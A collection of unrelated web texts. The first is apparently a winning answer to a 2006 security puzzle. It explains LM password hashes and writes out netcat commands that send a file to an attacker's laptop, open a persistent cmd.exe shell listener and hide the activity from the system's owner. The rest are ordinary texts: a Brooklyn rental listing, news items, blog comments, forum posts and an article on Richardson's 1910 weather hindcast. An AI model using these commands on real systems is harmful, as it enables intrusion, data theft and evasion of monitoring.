text:
Skillz Dec 06 Winning Entry - Technical
Juan Miguel Paredes
Congrats and well done,
1) What is interesting about the files that Ralphie could see on the lamp server?
He has access to a netcat executable (nc) on a Linux system! What could be more interesting? Well, the chimney file is a pipe file, likely used by the email command processing system or to issue commands to the Lamp directly. But we don't need to mess with the Lamp.
2) What is the significance of the Annie cyphertext?
The Annie cyphertext is Windows LM password hashes. These are trivial to crack with a multitude of tools, especially since they are seven characters max - you can tell this by the telltale "AAD3B435B51404EE" pattern, which indicates a seven character or less password (LM hashes are split into two hashes, seven characters each. The telltale pattern equals a blank password, hence the seven characters or less password for each password hash).
The hashes decrypt to:
Which is what our hero intends to do.
3) What command could Ralphie e-mail to the lamp to get access to the command shell on the furnace server from the kid's network to read the Christmas list? What should Ralphie do on his own laptop for this to work? Assume that you cannot alter the configuration of the lamp or get any higher privileges on that machine, nor can you reconfigure the firewall.
On his own laptop, run the following netcat command to setup a listener on port 443:
nc -l -p 443
Email the following command to the lamp:
echo "nc 10.11.11.11 443 < c:\christmas_gift_list.txt" | ./nc 10.10.10.10 2222
Since port 443 outbound is allowed through the firewall, this should send the Christmas Gift List to his laptop directly.
4) How can Ralphie make the activities you describe above less likely to be detected by his Old Man?
Since the netcat on the Furnace was started with a single listener "-l" rather than a persistent listener "-L", the Old Man will be very suspicious when he finds that his listener on the Furnace is no longer, er, listening. To get around this, Ralphie could issue this command via email to the lamp first instead:
echo "nc -L -p 2223 -d -e cmd.exe" | ./nc 10.10.10.10 2222
This should start a detached, persistent listener on the Furnace on port 2223. After that runs, the listener on 2222 should die (-l vs. -L).
Then, send the following command to extract the Christmas Gift List:
echo "nc 10.11.11.11 443 < c:\christmas_gift_list.txt" | ./nc 10.10.10.10 2223
After he gets the list, Ralphie can send this command to restart the single-use listener on 2222:
echo "nc -l -p 2222 -e cmd.exe" | ./nc 10.10.10.10 2223
Aside from not creating suspicion in the Old Man, Ralphie now has his own persistent listener on the Furnace.
Congrats and well done,
Last edited by don on Sat Jan 13, 2007 3:48 am, edited 1 time in total.
CISSP, MCSE, CSTA, Security+ SME


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Classic 1 Bedroom Apartment Brooklyn (Parlor)
Size850 ft²
Floor No.2
- Kitchen
- Air conditioning
- Parking available
- Washer/dryer
Accommodation summary
|Hancock Street, 11216 New York, United States
|Property type
|Property ID
|Acceptance rate
|Response time
|A few hours
|Calendar updated
|A week ago
Located in a diverse cultural area, including a multitude of ethnic restaurants, jazz clubs, food markets, shopping galore.
Areas of interest include Brooklyn Children's Museum, Brooklyn Botanical Gardens,Prospect Park, Renowned Brooklyn Museum. Close to trendy Park Slope, Artsy Williamsburg, Downtown Brooklyn, Brooklyn Heights promenade, and the historic Fort Greene and Clinton Hill areas.
On street parking is available with easy access. Parlor apartment includes incredible details, Terrazzo mosaic tile entryway, 12ft. ceilings with double crown molding, 2 exquisite fireplaces, Gourmet Kitchen with granite counters, cherry cabinets, dishwasher, microwave, gas range and slate covered back splash. Large living space, ideal for entertaining. Space includes T.V. Stereo, DVD., DSL, washer & dryer.
House rulesNo Smoking
no pets
|Price for > 2 guests
|$ 205 HKD per guest/night extra
|Maximum nights
|1 month
|Check-in after
|Check-in before
|On arrangement
|Check-out before
|Cancellation Policy
Reviews of this property
My brother and I stayed in Jacqui and David's appartment for 5 days and felt very comfortable there. The hosts are very nice and welcoming, the appartment is roomy, clean and generously furnished. I is also located close to a subway station that delivers you right into the city. We could not have chosen a better appartment for our stay and would recommend anyone to stay there as well.
Jacqui and David were very generous hosts, it was a pleasure meeting them. I hope that we will stay in touch and perhaps catch to up on one of our travel adventures.
the apartment was extremely comfortable and very spacious. It met with all of our requirements.
We stayed 7 Nights in Jacqui and David's beutiful apartement in Brooklyn and it was like a home for us! The apartment is so lovely, quiet and comfortable. The Metro is just a round the corner and you have a great connection to Manhatten. Jaqui and David are living in the same building (upstairs) and you can ask them everything. They are really nice and helpfull and it was a pleasure to meet them.
If you prefer to stay in Brooklyn, than in noisy Manhattan, its the best choice you can make.
Next time in NYC it is going to be the same Apartment.
Jacqui et David vous ouvrent leur magnifique maison et vous offrent un accueil des plus chaleureux pour un sejour exceptionnel.
L'appartement est totalement indépendant et on s y sent comme chez soi, l'idéal pour se relaxer après une grosse journée de visite.
Jacqui et David vivent à l'étage, ils sont très discrets mais disponibles en cas de besoin.
Ne vous privez pas d'un moment en leur compagnie, ce sont des gens adorables et ce fut un vrai plaisir que de faire leur connaissance.
L'appartement est parfaitement situé dans un quartier très agréable de Brooklyn
Le métro A et C est à une 100aine de mètres à pied. Il dessère Manhattan en quelques minutes (la ligne de métro la plus pratique pour accéder rapidement à n'importe quelle partie de Manhattan) et est très commode lors de l arrivée et pour le départ depuis l aéroport JFK
Dans le quartier vous trouverez des superettes, des restaurants, des bars jazz....
N'hésitez donc pas une seconde!!!!! venez chez Jacqui et David!!!!!!!!!
Schöne Wohnung, perfekte Lage, gute Verkehrsanbindung - Subway ca. 10 Min. entfernt.
Jacqui und David sind super freundlich und hilfbereit. Gerne wieder!
Ce logement à Brooklyn est l'endroit idéal pour vivre pleinement le quotidien des New Yorkais . Leur gentillesse est très appréciable pour nous, touristes .
Le quartier est plein de vie et l'on est rapidement en métro dans tous les endroits à visiter . Après une journée passée à l'extérieur, qu' il est bon de se retrouver dans l'appartement accueillant de David et Jacqui !!
Exzellente Wohnung mit besonderem Flair, wir haben uns sehr wohl gefühlt. Die U Bahn nach Manhattan ist gut zu Fuß erreichbar und nach einem langen Tag freuten wir uns ins ruhige Brooklyn zurückzukommen. Vielen Dank an Jacqui und David für die hilfreichen Tipps und das warme Willkommen. Besonders das "Wohnzimmer Jazzkonzert in der Nachbarschaft" war genial. Viele Grüße an Jacqui und David und entschuldigung für die späte Bewertung.
Reviews for this host's other properties
Very Nice apartment very well Appointed.
Very comfortable for Anne and I and our adult daughter
Easy access to downtown,enjoyed our stay
Thanks Jacqui and David
We enjoyed our vacation in New York in your awesome apartment very much!
It was a really nice feeling to relax after a full day of sightseeing. We immediately felt great! Everything was clean and fresh and the kitchen was cool! Its very easy to reach manhatten by subway, the next subwaystation is just around the corner. Thank you for the warm welcome and the informations about the local area and events.
We spent 5 days-4 nights in this apartment. We enjoyed it from the start. The kitchen is spacious with a very nice square table to drink coffee on, spread maps and plan the day. The bedroom is OK for two, more people will easily fit in the large living room. The apartment also has a nice backyard with plenty of space. The apartment is well equipped with a toaster, coffee machine, dish washer, laundry automat and dryer. The bathroom and shower are basic and clean.
The neighborhood is friendly and safe. There are lots of grocery stores, deli's, restaurants, bakeries, etc within walking distance, e.g. on Fulton St and Nostrand Ave. The Subway is a few minutes walking from the apartment, with direct access to JFK and Manhattan. We happily walked and biked around after sunset, without any feeling of unsafety.
We did not have the opportunity to meet the owners, because they were away at the time, but communication via email was immediate, to the point and very friendly.
We rented bikes from RollingOrangeBikes.com on Baltic St in Brooklyn and we used them to traverse Brooklyn, Queens and Manhattan. We got a bike map of NY and found that there are lots of bike lanes in the city. We found biking a lot of fun, as well as a pretty efficient way of getting around. New York car drivers are friendly to bikes, compared to most European countries. We did not feel unsafe at any time.
- Quality assured accommodation
- Every host is verified by telephone
- Secure payment via SSL encryption

subset: commoncrawl


text:
Prices and availability are subject to change from the time and date that you print this page.
5/30/2017 3:23:59 AM. For Customer Service, please call 800.933.9904
I think I can organize the playroom. I think I can clean up the bedroom. I think I can straighten the closet. Well, now you can. Our hanging closet storage is easy on the eyes and comes in 8 great colors.
I Think I Canvas Blue Wide Drawer 10.5"Wx10.5"Dx6.75"H
Details, details
- Hanging organizers provide lots of additional storage when dressers and closets become overloaded
- Pieces fold flat when not in use
- Coordinating Wide Canvas Drawers fit perfectly in the hanging organizers
- Great for clothes, toys and more
Show 'em what you're made of
- Durable polyester construction is easy to clean
- Lined with PVC lamination so damp and messy items can be contained without worry
Overall DimensionsWidth: 10.5" Depth: 10.5" Height: 6.75"
At The Land of Nod, nothing is more important to us than providing safe, high-quality products to you and your family. We believe that kids' products should be able to handle everything kids throw their way (literally and figuratively). That's why all of our products have an 18-year quality guarantee. And, hopefully, your kids will no longer be sleeping in bunk beds by then.
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Hushaby Nursery Storage Collection (Boy) $14.97reg. $29.00More Colors Available


text:
MINIARE is a cross-disciplinary project using advanced methods in the physical sciences, arts, humanities and social sciences to examine artists' materials and techniques in illuminated manuscripts.
It is led by the Fitzwilliam Museum's Department of Manuscripts and Printed Books in collaboration with the Hamilton Kerr Institute and Cambridge University's Departments of Chemistry, Physics, History of Art, Applied Mathematics and Theoretical Physics, and History and Philosophy of Science. Combining Cambridge's rich collections and world-class expertise, MINIARE brings studies of the artistic, cultural, political, social and economic environments in which the manuscripts were created together with non-invasive scientific analyses and cutting-edge technology.
MINIARE's current focus is on Western European manuscripts produced between the 6th and the 16th century. This phase of the project is the research platform for a major exhibition of illuminated manuscripts which marks the bicentenary of the Museum's foundation in 2016, COLOUR: The Art and Science of Medieval and Renaissance Illuminated Manuscripts (30 July - 30 December 2016).
Our vision is to establish a research and teaching centre for the technical analyses and inter-disciplinary study of works of art. We are seeking funding to foster collaborations with research institutions world wide, and to offer graduate courses, training new generations of scholars to bridge the divide between the arts and the sciences.


text:
A Home Tour: Marlowe's Room
41 comments:
Andrea, I think it's great you give her trucks and trains. Coming from a little girl who grew up with all kinds of toys (traditional gender stereotypes aside), it's definitely the most fun way to do it :) Thanks for sharing!ReplyDeleteReplies
Her favorite toys are the trucks and trains. Her doll house is really just a train track for her. Gender neutral is the way to go :)Delete
Sooooo cute, Drea. You are good at that stuff.ReplyDelete
Love it! And I'm with you on the crib sleeping, keep it as LONG as possible! Jasper was in a crib till he was almost 3 and a half..he climbed out twice, but we just told him he wasn't allowed to climb out and that was that (when he was 1.5.) I didn't feel super safe having him without a crib till we moved because his room was right next to the bathroom so I was worried he would wake up in the middle of the night and just walk out and go into the bathroom so we didn't switch him to a real bed (a bunk bed!) till he was 3.5 and the transition was SO smooth because of his age. Now he likes to climb into the crib with his baby sis and read her books :)ReplyDeleteReplies
YES. Seriously. She hasn't jumped out yet. *knocks on wood* but it's just so much easier to relax knowing she's not running around when I'm asleep.Delete
This is so cute! Thanks for sharing. You just inspired me to make a Zip-a-dee-doo-dah magnet for the in-laws for Christmas. :)ReplyDelete
You are so good at this home improvement stuff!!! I am so impressed. You really are Super WomanReplyDeleteReplies
Thank you! I think it's probably one of my best qualities.. making stuff look nice. More times than not, I was the weird kid at 3 am, sanding and painting or organizing furniture. It just makes sense to my crazy mind. Thank you dear.Delete
Gorgeous. Love it. We just bought that little kitchen for my two year old :)ReplyDelete
it looks so great! I'm so happy it's coming together so well! And that hardwood looks amazing. Hugs to M from me, I hope I get to see you guys soon!ReplyDelete
Love the look, I like the look of an all natural childs room!ReplyDelete
Do you teach montesorri to Marlowe?Replies
Nope. I've been wanting to look more into it. From what I know, I think it's something we could vibe well with. IT's on the to do list to search :)Delete
LOVE the Song of the South poster, what a find. Also: Wow! That before Green! I'm surprised your eyeballs are still working! Lovely lovely room to be a girl in.ReplyDeleteReplies
It was a gift, haven't seen the movie yet. Though I plan to because I received an email from a reader frowning upon it :/Delete
YEah, I was hoping with one color change, half the green could work... but it really, really couldn't.
I say this with kindness, but you will have a hard time finding the movie because it is horrifyingly racist. I think Disney would like to forget it happened. http://www.slate.com/articles/arts/books/2013/01/song_of_the_south_disney_s_most_notorious_film_by_jason_sperb_reviewed.htmlDelete
The movie is uploaded on youtube in full if you do want to watch it.Delete
Where do you get your rugs?! I need more bright colorful rugs!ReplyDeleteReplies
Urban. They had a huge 50% off home goods stuff. I think I paid about 12$ max for them! Check online for sure.Delete
It looks brilliant. You've done such a great job!ReplyDelete
Bettina @ www.littleoldsouls.com
Holy cow Drea it looks AMAZING! Well done you and your hard work, such a lovely space to grow up in M must be so proud of you. Me and Stan are coming over for playing and cookies straight away....just have to rob a bank first to buy my plane ticket.ReplyDelete
S x
that little hanging bell votive from bhoom shanti, i got one yesterday too ;)ReplyDeleteReplies
It was so hard for me to not hang it in my room.Delete
Very cute room... what a wonderful space for a little gal!ReplyDelete
Such a sweet sunny space for her! I'd live there. ^-^ReplyDelete
So inspirational! Her room looks so wonderful! All of your hard work has definitely paid off!ReplyDelete
xoxoxo krystin
Such a beautiful and pretty little room! You did a great job :)ReplyDelete
Gorgeous! What a pretty space!! Maybe that was the motivation I needed to start painting.....ReplyDelete
beer helps motivate painting too. one beer, not too many.Delete
Her room is soo lovely! Seeing the before pictures, you really did a ton of work!ReplyDelete
I love all the unique figurines! you have quite an eye for decor <3ReplyDelete
Interesting article about the poster in your daughters room.
Great room. However, I must say that Song of the South is a very racist movie.ReplyDelete
Beautiful room and so unique. I love it. Great job!ReplyDelete
I love how you added the home section and click on the different rooms. great idea. and....how did i not notice the little lawn mower before? by any chance is that from your brother?? I think it just may be a pun on Phish ;)Lawn Boy is one of their songs.ReplyDelete
Hi there!ReplyDelete
Saw this page through Apartment Therapy. Love your daughter's room. I was going to ask why you picked that poster given its controversy, but I saw in your comments that it was a gift and you hadn't seen it.
I don't know, I'm of two minds of it. History and art shouldn't be forgotten, even when it's controversial, and it's a lovely picture and works well in your daughter's room...but it's still strange and still has all those connections.
Might I make a suggestion? Just swap it out for another. The styles are pretty much all the same and you'll get that same stylistic and colorful impact:
If it were me I'd hold on to that poster and keep it somewhere else...But I got my degree in film history, so I might be the only one!Replies
I agree, I don't think it should be forgotten, and I don't think the movie should be banned and we should all pretend it never happened. It would be great if people watched the movie and discussed it. But having that poster in a child's room with no other context makes it look like it's being celebrated. You're not the only one - I say keep the poster, but not where it is.Delete


text:
Hakkinen finishes 45th in World Cup sprint
HOCHFILZEN, Austria — Biathlon World Cup champion Tarjei Boe of Norway won a 10-kilometer sprint Thursday for his first individual victory of the season and sixth in his career.
Boe had to complete a penalty lap before finishing in 23 minutes, 57.2 seconds in difficult conditions because of heavy snowfall.
Martin Fourcade of France missed two targets and came 4.0 seconds back in second, and Timofey Lapshin of Russia shot flawlessly to take third.
Kasilof biathlete Jay Hakkinen shot perfectly on the range, despite the snowy conditions. Hakkinen finished 45th with a time of 25:33.3, which was 1:36 behind the winner.


text:
Re. More news from Argentina,
Even if Argentina returns a big crop in 2010,I think it will be alot like the last crop, dark and not a alot of white, the country has changed from cattle to soybean .
Re Wee3Bees
Your price projections are right on......... if anything you could be on the low side, there is a shortage and the packers will have to pay to play.The Packer producer relationship....... now thats a whole new can of worms


text:
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The U.S. Department of Agriculture's Food Safety Inspection Service provides online resources to assist agricultural food producers and sellers comply with food saftey requirements by providing information on food safety services, events, and regulatory updates. Information is provided in a variety of formats including TV and radio news features, recorded audio and visual webcasts, podcasts, videos, and news releases. Follow this link for contact information: http://www.fsis.usda.gov/Contact_Us/index.asp .
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Sans titreHans Saletmeier
untitled, 2005
lead pencil and coloured pencil on paper
44 x 60 cm
© photo credit
Collection de l'Art Brut, Lausanne
Saletmeier, Hans (1950), Austria
BiographyHans Saletmeier (b. 1950) was born in Kirchdorf, Austria. He was the youngest in a family of seven children. Physically and mentally handicapped from birth, he lived at home sheltered by his mother's tender care until he was thirteen, when he was sent to a children's home. He learned the rudiments of reading, writing, and arithmetic, but he suffered from the separation from his parents and went home again three years later. In 1992 Saletmeier went to the Lebenshilfe hostel in Ried. When an art studio was opened there in 1997, he immediately took part, having already shown an interest in drawing. He gave up drawing in 2009, but still lives in Lebenshilfe.
Saletmeier draws with black and coloured pencils on sheets of paper, in a slow, careful manner. His style is clear and simple. He often portrays large figures, writing their names on the edge of the sheet. Some of his pictures show series of vehicles and include cars, ambulances, and police vans.
Exhibition(s) at the Art Brut Collection


text:
Hello and welcome from northern California!
Welcome to the Quilting Board!
Hello and welcome from northern California!
Janet L52
Hello from a fellow Canuck.
The board is a friendly place with great ideas, lots of information and pics of beautiful quilts. Enjoy!
Life...you muddle your way through it and then you die!
Hello, welcome from NE Ohio.
Welcome from Adrian, MI USA
Welcome from Newfoundland and Labrador, Canada
Hello, welcome from Nevada!!!
Welcome to a never ending quilt show If you are looking for inspiration you have come to the right place!
Hi and welcome to the board from the friendly State of Alabama
Thanks for the welcome everyone! I'm ready to learn - already signed up for my first Secret Pal Swap, and am thinking of signing up for the Doll Quilt exchange.


text:
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Music Index Online is a basic index for searching for music topics in more than 690 international journals. Articles on musicology, music education, ethnomusicology, and popular music are included, along with book reviews, record reviews, first performances, obituaries, and some dissertations.
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You forget one thing. Follow the money.
My senator flipped his opinion on gun control. Reason? He wants to stay elected.
Just today the parent financial company of the "conglomerate" freedom group withdrew funding. That's a HUGE issue for the industry. Why? Anti-gun investors - with investment clout - voiced their desire to withdraw money from the company. Money!
I agree with you - enough has happened that we need to realize the writing on the wall. Before it happens! They are leading up to removal of guns from our society. And before you say "oh that won't happen here"... well yes it will. They will shut down the gun industry piece by piece, and that will just be the start.
As you know, the real issue is not guns. When the same thing happens with a drunk driver... you don't go banning yellow cars! You go after the issue. This poor kid was mentally ill. He stole guns! If anything we need better gun storage training. And better mental illness screening. This kid should have gotten meds! But does anyone care? Where are the voices in the country that are saying this? The NRA as of this morning is STILL silent on the issue. Perhaps they are waiting for all the facts. Regardless, it appears the industry is beginning to self-destruct. We simply need to be politically active so our voices will be heard.
Don't be surprised if mandatory gun registration is coming our way. "I told you so".
We need to get involved NOW and voice our opinions to our representatives.


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"Dancing In Your Bedroom," at the Chazan Gallery at the Wheeler School (228 Angell Street, Providence, through April 9), appears to have teleported stuffed animals, posters, bookbags, and the disheveled beds of teens right into the space. Caroline Woolard, a Brooklyn artist who studied at Wheeler, developed the installation of eight beds.
A Bob Marley blanket covers one mattress. Next to it on a bedstand are prom photos, a copy of Ram Dass's story of psychedelic self-discovery, Remember, Be Here Now, and a notebook open to a page of writing about "how is it possible to keep up with every thought that runs through your head."
Under a Jonas Brothers poster across the room sits a bed surrounded by a bank statement, gray pants, a sweatshirt, and a notebook with writings worrying about compulsive eating and the entry, "Do I feel beautiful because I fit into an image that is accepted by the masses/plastered everywhere by the media." A copy of Teen Vogue sits atop a bed with a black and pink comforter. In one corner, a laundry basket overflows with clothes.
Next to another bed are a boy's notes about a friend who insists she's a woman now: "I'm really shocked. I can't believe it. She's a girl. So I challenge her . . . so when she replies that yes, in her mind, she is a woman, I am upset."
Press your ear into one of the six pillows attached to the gallery walls and you hear recordings of people reading high school diaries. A woman: "Had to let him know the truth that I didn't like him . . . So I told him online." Girls complain about parents and fret over who might ask them to the prom. A woman says, "I found out he likes me so now it's so weird."
The recreation of teens' bedrooms feels raw and vulnerable, but unprocessed. Woolard struggles to make the voyeuristic peek into the teen world of proms and annoying parents feel fresh. And the installation could use more reflection, like the pillow recording of a guy now embarrassed by his high school diary full of notes about girls he desired. He'd like to believe he's more mature now, and adds, "I hope this is not a full representation of who I was back then."
One recent Saturday, Mary Paula Hunter of Providence choreographed and performed a related dance across the beds with six members of her teen dance company Jump! (Hunter and Woolard said documentation of the dance would be installed inside a tent inside the gallery.) The girls pretended to sleep on the beds, then made the beds, laid on their backs and kicked their legs up, and jumped on the beds. Meanwhile Hunter announced, "Being a dance teacher has one real benefit — if you get into bed at night and can't fall asleep you can design a class." The girls stood next to beds and danced ballet basics — tondu, plié, arabesque, fifth position. "Obviously I liked recognition," Hunter continued, "but I wanted to be alone in my house dancing around every day."
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Lautenberg introduces magazine bill
Sen. Frank Lautenberg (D-N.J.) introduced legislation Tuesday that would make it illegal to manufacture or sell a magazine that contains more than 10 rounds.
Limits on high-capacity magazines have been frequently discussed in the wake of the Newtown, Conn., shooting, and limits on magazines was one of the proposals that President Barack Obama made last week.
The limit on magazines would renew an element of the assault weapons ban, which expired in 2004. Since then, it has become legal to produce and sell high-capacity magazines. Support for renewing the assault weapons ban has received tepid response, even in the Democratic-controlled Senate.
Lautenbergs bill has sixteen cosponsors in the Senate, all Democrats. Rep. Carolyn McCarthy (D-N.Y.) has filed a companion bill in the House.
Frank Lautenberg introduces ammunition bill - POLITICO.com
Black Blade: Dianne Fineswine introduces her AWB bill on Thursday.


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As governments ask employees to contribute more toward health insurance premiums, you might be tempted to skimp on this expense when evaluating the household budget. DON'T.
If City of Hollister (Calif.) Community Services Director Clay Lee (one of our February cover subjects) had, he and his wife of 30 years would be bankrupt. Two years ago, the 53-year-old experienced a health crisis that — contrary to common perception — strikes anyone at any age. Two-thirds of the 795,000 Americans who suffer strokes each year are 65 years or older, but Lee sees 20-, 30-, and 40-year-olds in the doctor, surgeon, neuro-ophthalmologist, and physical, occupational, and speech therapist waiting rooms he's been visiting since Sept. 7, 2010. Nor does neurological disease run in his family.
He's the last person his friends, family, and 40 employees considered at risk. Physical activity is a lifelong love that began well before Lee earned a bachelor's degree in recreation administration. His diet wasn't great and he hadn't had his blood pressure or cholesterol levels checked in a few years, but he ran 3 to 5 miles a week in addition to coaching the high school girls' basketball team and playing recreationally himself.
Other people consider his job stressful: overseeing streets, storm drainage facilities, buildings and grounds, parks, water and wastewater service, and vehicles for a city of 35,000 people within 7.3 square miles. Yes, reductions-in-force challenge his team to maintain service levels. Yes, he worries how this year's retirement of key managers with 80 years of combined institutional knowledge will affect operations. But he didn't feel stressed out. "Everybody thinks of me as a low-key person even though I'm a 'public official,'" he says.
Notice our use of the present tense. He could've retired with full benefits when a blocked carotid artery shut down the left side of his body, but no one's surprised that he's set rehabilitation records and plans to serve a few more years. In the 25 years since joining Hollister as recreation director, he's held various positions including personnel director ("a great experience, but not fun") and still oversees public works.
"Although it's been a very difficult experience, I've learned a great amount," he says. "I should've taken more time out for myself and just relaxed. People need to balance their lifestyle."
Excellent advice for America's hard-working infrastructure managers from someone who learned the hard way.
— Stephanie Johnston,
Editor in Chief
P.S. Visit www.heart.org to learn about the FAST (Face Arm Speech Time) program for recognizing and mitigating damage from stroke.


text:
After experiencing the largest power blackout in history, people in India can finally turn on the lights. On July 30, India's northern electrical grid failed, leaving 370 million people without power. By the next day, that number had grown to 620 million as the electrical blackout spread to more than half the country. The specific cause of the outages is unknown. As of August 1, power had been restored throughout India.
The blackout stranded passengers at railway stations. In factories and offices, work ground to a halt. Miners were trapped in a coalmine in West Bengal. In New Delhi, India's capital, traffic snarled when traffic lights stopped working.
What Happened?
The failure of three national power national grids plunged half the country into darkness. An electrical grid is a network of power stations, fuel, and power lines that work together to deliver electricity. A failure in any part of the network can cause the power to go out.
The exact cause of the grid failures is unknown. Officials believe that the outage was due to areas consuming too much energy. As India's power division struggled to meet the increasing demand for energy, the grids were unable to produce the amount of energy that residents were using. "If they overdraw, this is the result," said India's Power Minister, Veerappa Moily.
India is the world's second-most populous nation. It is also a growing economic force. Power shortages are not uncommon in the country. Now, many are wondering whether the country needs to work harder to improve its infrastructure, or basic facilities. According to the Associated Press, Moily, who took over the top power job just this week, said the government would not allow a massive blackout to happen again.


text:
Brian Hayes
In the winter of 1917 Lewis Fry Richardson was driving an ambulance for a French infantry division on the Western Front. At the same time, in spare moments behind the lines, he was completing a vast project of mathematical calculations. He had set out to compute the weather, to predict the temperature, the winds and the barometric pressure from first principles of physics. It would have been an ambitious undertaking in the best of circumstances—in a quiet study with a long oak table for spreading out the paperwork. Richardson did it in the middle of a war that was, among its other distinctions, the muddiest in human history. "My office," he wrote, "was a heap of hay in a cold rest billet."
Richardson's goal was to follow the development of the weather for a six-hour interval in a small area of central Europe. Even a forecast of this limited scope called for a calculation of daunting complexity. Needless to say, he had no electronic computer to do the arithmetic for him. He worked with pencil and paper, as well as a slide rule and a table of logarithms. To guard against careless mistakes he did everything twice.
The outcome was not a conspicuous success. The actual weather changed little over the period of the forecast, but Richardson's equations had the barometer rising fast enough to make your ears pop. The calculation was a brilliant piece of work nonetheless. Although he failed to predict the weather, he predicted the future of weather prediction. The forecast you now see on the six o'clock news is based on simulations remarkably like Richardson's (including the occasional error).
What went wrong with that first-ever numerical forecast? Many commentators have suggested explanations, starting with Richardson himself. A new analysis takes a direct approach to understanding the source of the problem. Peter Lynch of Met Éireann, the Irish Meteorological Service, has carefully reconstructed and replicated the entire calculation—everything but the heap of hay in the rest billet. He has been able to reproduce Richardson's error, and even to correct it.
Before diving into the differential equations, it is worthwhile pausing to look back over Lewis Fry Richardson's life and career, which were no less strange and wonderful than his scientific work. He came from a prosperous family in Newcastle upon Tyne, the industrial port in the far north of England. They were Quakers, and Lewis was sent to Bootham, a distinguished Quaker boarding school, where his interests in science and natural history were cultivated by J. Edmund Clark, a prominent member of the Royal Meteorological Society. "Another master," Richardson later wrote, "left me with the conviction that science ought to be subordinate to morals."
At Cambridge, Richardson's mentor was J. J. Thomson, the Cavendish professor of physics (and the discoverer of the electron). Richardson took first-class honors in natural sciences. Later he sought a fellowship at King's College, but he was passed over. There followed a decade of short-term, low-ranking jobs in out-of-the-way places, like the succession of postdoc appointments so many graduates face today. In the end Richardson never did hold a chair at any of the major British universities.
In 1913 he became superintendent of the Eskdalemuir Observatory in the Scottish Southern Uplands. Talk about out-of-the-way places! This small institution, run by the Meteorological Office, had been founded to measure variations in the earth's magnetic field, and it was deliberately put as far as possible from railroads and power lines. Richardson described it as a place of "bleak and humid solitude," but this was probably not a complaint; when he was once asked if he had any hobbies, his answer was "solitude."
In any event, the solitude was soon interrupted. "In August 1914," Richardson wrote later, "I was torn between an intense curiosity to see war at close quarters and an intense objection to killing people, both mixed with ideas of public duty and doubt as to whether I could endure danger." He requested a leave of absence but was refused. In 1916 he resigned his post and joined the Friends' Ambulance Unit.
After the war, Richardson returned to the Meteorological Office, working at the Benson research station near Oxford, but that job also ended prematurely. In 1920 the Meteorological Office was put under military administration, and Richardson felt compelled to resign again. After that, he never got back on the tenure track.
Some biographers emphasize the price that Richardson paid for his convictions. According to family members, his pacifist principles cost him a university appointment. Family memoirs also describe an anguished moment when he destroyed his research on atmospheric turbulence because it was attracting the attention of "the 'poison gas' experts." On the other hand, it would be misleading to portray Richardson as an outcast from the scientific establishment. He was elected a Fellow of the Royal Society; he served as secretary of the Royal Meteorological Society; he had well over 100 scholarly publications (recently collected in two fat volumes by Cambridge University Press). Today there is a Richardson Institute for Peace Studies and Conflict Resolution, and one of the dimensionless numbers of fluid mechanics is called the Richardson number.
Whether for reasons of conscience or pure predilection, Richardson did turn away from work in meteorology after the mid-1920s. He took a degree in psychology (at age 48), and then for the last 15 years of his life focused on the study of war and its prevention. He took a mathematical approach to these problems as well. For most people, the idea that mathematics might be the key to world peace seems naive and implausible, but maybe we shouldn't be too quick to give up on it. In Richardson's day, mathematics also looked like an outlandishly unsuitable tool for weather forecasting.
Richardson's forecast was actually a hindcast: He was "predicting" events that had taken place years before. His initial data described the state of the atmosphere over Germany and neighboring countries at 7:00 a.m. (Greenwich time) on May 20, 1910. His goal was to model the weather in this region over a span of six hours. He chose this particular time and place not because the weather was in any way unusual that Friday morning but rather because unusually good data were available. May 20, 1910, was one of a series of days on which weather observations were collected from coordinated balloon ascents all over Europe. The results had been tabulated and analyzed by the Norwegian meteorologist Vilhelm Bjerknes.
The observing sites for the Bjerknes project were scattered irregularly across the map of Europe, and so Richardson had to interpolate to produce a uniform grid of data points. The grid he chose was a checkerboard, with squares roughly 200 kilometers on a side. A pattern of 25 squares covered a diamond-shaped region extending from Denmark to Italy and from the English Channel to Poland. Vertically, he sliced the atmosphere into five layers, with boundaries at altitudes of roughly 2, 4, 7 and 12 kilometers. (The heights were chosen so that each stratum had about the same mass of air.) Thus the model divided the volume being studied into 125 compartments.
The pattern of squares laid out on the landscape was described as a checkerboard rather than merely a grid because different quantities were computed in the alternating black and white squares. In one set of squares (called P cells) Richardson recorded the barometric pressure in each of the five altitude layers, and also moisture amounts and the stratospheric temperature. In the other squares (M cells) he calculated the momentum of the atmosphere—that is, the wind speed and direction multiplied by the mass of the air.
It's not hard to see in a qualitative way how these variables would enter into a model of the atmosphere's dynamics. In particular, winds and barometric pressures have an obvious interconnection. Pressure is the force that drives the winds; air flows from place to place in response to differences in pressure. At the same time, the convergence or divergence of winds alters the pressure in a region, as air is either blown in or sucked out. A similar linkage connects pressure with temperature, since heat is generated when air is compressed. The model has to track all these relationships (and others) from moment to moment. Given initial values of all the variables at time t0, the model calculates the values at a later time t1; then these t1 values form the basis of a new calculation at time t2, and so on.
The most important quantities to keep track of in Richardson's model turned out to be barometric pressure and three components of momentum (along north-south, east-west and up-down axes). All of these quantities vary from place to place and from moment to moment; in other words, they are functions of latitude, longitude, height and time. There are also crucial dependencies among them. For example, one of Richardson's equations states that the rate of change in the east-west component of momentum depends on the pressure gradient along the same axis. This relation is unsurprising; it says that air goes where you push it. But the full atmospheric equations of motion are more complicated. In addition to the pressure-gradient term, they also includes a term representing the Coriolis force, by which the earth's rotation twists the winds and thereby couples east-west and north-south velocities.
Vertical motions in the atmosphere are even more problematic. No vertical winds were included among the initial data. To calculate them, Richardson relied on a simple ground truth: The earth is solid, and therefore impervious to wind. It follows that if horizontal winds are converging in some ground-level cell of the model atmosphere, then air must be flowing upward out of that cell. By the same principle, divergent winds at ground level must be balanced by air sinking into the cell from above.
In general, the system of differential equations describing the behavior of the atmosphere cannot be solved exactly. Bjerknes advocated a graphical method of finding approximate solutions, but Richardson favored numerical techniques. Specifically, he adopted a finite-difference method, replacing continuously varying fields with changes calculated over discrete intervals. For example, consider the calculation of the winds in a given M cell. In the discrete model the change in the east-west component of the wind depends on the difference between the pressures in the P cells to the east and the west; in the same way the north-south component is calculated from the difference in pressure values to the north and south.
Boundary conditions present an annoying complication. If the winds in an M cell depend on the four surrounding P cells, what happens at the edge of the array, where some of the P cells do not exist? The ideal solution would be to cover the entire globe, so there are no edges, but that option was beyond Richardson's reach. Instead he ducked the question by making his prediction only for two squares (one M cell and one P cell) in the middle of his diamond-shaped array. Thus he made use of the initial values in the boundary cells but did not try to calculate new values there.
